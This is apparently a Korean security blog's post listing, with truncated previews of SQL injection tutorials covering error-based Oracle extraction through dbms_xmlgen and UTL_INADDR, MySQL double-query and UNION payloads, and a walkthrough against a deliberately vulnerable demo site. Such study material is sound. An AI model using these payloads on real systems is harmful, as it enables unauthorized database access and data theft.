목록분류 전체보기 (553)
Self-Improvement
INSERT, UPDATE, DELETE 구문에서는 UNION SQLi 기법은 사용이 불가능하지만 Error SQLi는 가능하다. 하지만 위 3가지를 SQLi할때는 중요한 사항들이 존재한다. INSERT INTO table_name() VALUE () Insert 구문에서는 로깅 파라미터인 로그를 추가하는 부분에서 취약점이 많이 발생하지만 SQLi 공격 구문을 잘못 할 시 비정상적인 로그가 추가된다는 점과 게시글 글이 계속 등록된다는 문제점이 있다. MySQL 소스코드 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 4..
Prepared Statement는 SQLi 공격이 불가한 방식이며 실제 안전하게 구현된 방식은 취약점이 발생하지 않는다. 하지만 잘못 구현된 Prepared Statement는 취약점이 발생할 수 있다. Prepared Statement + Statement의 혼합 형태의 소스코드 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 opensecurelab Employee information : Employee ID FirstName JOB_ID HireDate Colored by Color Scripter cs ..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. 소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 opensecurelab Employee ID FirstName JOB_ID HireDate Colored by Color Scripter cs dbms_xmlgen.getxml || 는 HTTP 인코딩 방식으로 %7c%7c로 변경해준다. [테이블 정보] (to_char(dbms_xmlgen.getxml('select "' || substr((sele..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. Oracle에서는 칼럼 객체명에 화이트 스페이스 포함 30자로 길이제한이 존재한다. XML 내장함수 DBMS_XMLGEN.GETXML() > select substr((select banner from v$version where rownum=1), 1,30) from dual = select "Oracle Database 11g Express ED" from dual 에러를 발생시켜 버전을 출력하는 쿼리 > select to_char(dbms_xmlgen.getxml('select "' || substr(select banner from v$version where rownum=1),1,30) || '"..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. UTL_INADDR.GET_HOST_NAME UTL_HTTP.REQUEST Oracle 11g 이상에선 ACL 정책 강화로 DBA 외에는 실행이 차단되어 Network 내장함수는 관리자 계정만 사용이 가능하다. system/system [기본 형식] > select UTL_INADDR.GET_HOST_NAME('127.0.0.1') from dual 문자열 쿼리를 주입하면 오류가 발생하지만 쿼리가 동작되어 출력이 이루어진다. [버전 정보 출력] > select UTL_INADDR.GET_HOST_NAME((select banner from v$version where rownum=1)) from dual ..
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다. [테이블 추출] > select table_name from (select rownum as rownum1, table_name from tabs)t where t.rownum1=1 [칼럼 추출] > select column_name from(select rownum as rownum1, column_name from cols where table_name='EMPLOYEES')t where t.rownum1=2 [데이터 추출] > select Employee_ID, First_Name, Hire_Date from (select rownum as rownum1, Employee_ID, First_Name,..
소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Colored by Color Scripter cs - http://192.168.1.46/empinfo_id.php?empid=1 싱글쿼터 주입 시 에러 발생 - http://192.168.1.46/empinfo_id.php?empid=1%27 Double Query 방식 Double Query 방식으로 오류를 발생시켜 진행되는지 확인해 본다. Payload : 1 and 1=(select count(*) from(select count(*), concat(version(), floor(rand(0)*2))a from information_s..
1. CONCAT(), CONCAT_WS() 함수 둘 다 데이터 값을 합칠때 사용할 수 있다. > select concat(table_name, " : ", table_type)as hello from information_schema.tables; hex값으로 넣어도 상관 없다. > select concat(table_name, 0x2c, table_type)as hello from information_schema.tables; > select concat_ws(' , ',table_name, table_type)as hello from information_schema.tables; hex값으로 넣어도 상관 없다. > select concat_ws(0x2c,table_name, table_type)..
소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Colored by Color Scripter cs - http://192.168.1.46/mssql_id.php?empid=1 싱글쿼터를 주입하여 에러가 발생하는지 확인 - http://192.168.1.46/mssql_id.php?empid=1%27 해당 부분에서는 단 하나의 정보만 출력이 이루어 지기 때문에 UNION SQLi가 되지 않는다. UNION SQLi 시도한 결과 하나의 정보만(단일 행) 출력이 이루어짐으로 용도에 맞지 않음 1 and 1=2 union all select 1,2,nam..
UNION SQLi는 포스터형식으로 몇개의 정보들을 출력해주는 곳에서 가능하다. ex) 포스터, 검색 등 단 하나의 정보만 보여주는 곳에서는 불가능 1. testphp.vulnweb.com Categories의 Posters에서 Union SQLi가 가능하다. 싱글쿼터를 주입할 시 sysntax 에러가 발생한다. order by 문을 이용하여 칼럼의 갯수를 구하며 11까지는 오류가 없었으며 12에서 오류가 발생한다 'cat=1 order by 11' 에러에서 MySQL임을 확인하였기에 null 대신 숫자를 대입하여 노출되는 칼럼의 위치를 확인한다. 이때는 Union Select 문을 사용한다. cat=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11 2..